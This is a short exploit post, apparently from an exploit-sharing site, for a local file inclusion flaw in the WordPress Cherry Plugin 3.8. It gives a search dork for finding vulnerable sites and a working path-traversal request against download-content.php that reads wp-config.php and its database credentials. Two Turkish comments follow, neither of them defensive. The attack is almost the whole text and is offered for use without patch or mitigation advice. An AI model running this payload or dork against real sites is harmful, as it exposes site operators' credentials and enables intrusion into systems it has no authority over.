WordPress Vulnerability in Cherry Plugin - Local file include

######################
# Exploit Title : WordPress Vulnerability in Cherry Plugin - Local file include
# Exploit Author : Kuroi
# Dork : inurl:/wp-content/plugins/cherry_plugin/
# link : https://github.com/CherryFramework/cherry-plugin
# version 3.8
######################

######################
# [+] Exploit:
######################
File Vul: download-content.php
Exploiting :

http://localhost/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php

 

Reis yıllar önceden paylaşmış zaten ne uğraşıyorsam

 

Eline Sağlık